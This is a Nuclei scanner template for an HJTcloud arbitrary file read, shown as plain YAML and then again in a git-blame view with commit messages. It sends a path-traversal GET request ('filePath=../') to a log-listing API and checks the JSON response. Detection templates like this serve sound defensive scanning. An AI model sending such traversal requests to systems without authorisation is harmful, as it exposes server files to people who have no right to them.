nuclei-templates/vulnerabilities/other/hjtcloud-rest-arbitrary-fil...

id: hjtcloud-rest-arbitrary-file-read

info:
  name: HJTcloud Arbitrary file read
  author: pikpikcu
  severity: low
  reference:
    - https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
  tags: hjtcloud,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '"name":'
          - '"length":'
          - '"filePath":'
          - '"list":'
        condition: and
        part: body

      - type: word
        words:
          - "application/json"
        part: header

      - type: status
        status:
          - 200
Merge branch 'patch-165' of https://github.com/pikpikcu/nuclei-templates into pr/1567 2021-05-31 08:50:30 +00:00			`id: hjtcloud-rest-arbitrary-file-read`
Create hjtcloud-information-disclosure.yaml 2021-05-31 05:45:01 +00:00
			`info:`
misc changes 2021-05-31 08:49:23 +00:00			`name: HJTcloud Arbitrary file read`
Create hjtcloud-information-disclosure.yaml 2021-05-31 05:45:01 +00:00			`author: pikpikcu`
			`severity: low`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw`
misc changes 2021-05-31 08:49:23 +00:00			`tags: hjtcloud,lfi`
Create hjtcloud-information-disclosure.yaml 2021-05-31 05:45:01 +00:00
			`requests:`
			`- method: GET`
			`path:`
misc changes 2021-05-31 08:49:23 +00:00			`- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"`
Create hjtcloud-information-disclosure.yaml 2021-05-31 05:45:01 +00:00
			`matchers-condition: and`
			`matchers:`

			`- type: word`
			`words:`
strict matcher 2021-06-01 10:38:41 +00:00			`- '"name":'`
			`- '"length":'`
			`- '"filePath":'`
			`- '"list":'`
misc changes 2021-05-31 08:49:23 +00:00			`condition: and`
strict matcher 2021-06-01 10:38:41 +00:00			`part: body`

			`- type: word`
			`words:`
			`- "application/json"`
			`part: header`
Create hjtcloud-information-disclosure.yaml 2021-05-31 05:45:01 +00:00
			`- type: status`
			`status:`
			`- 200`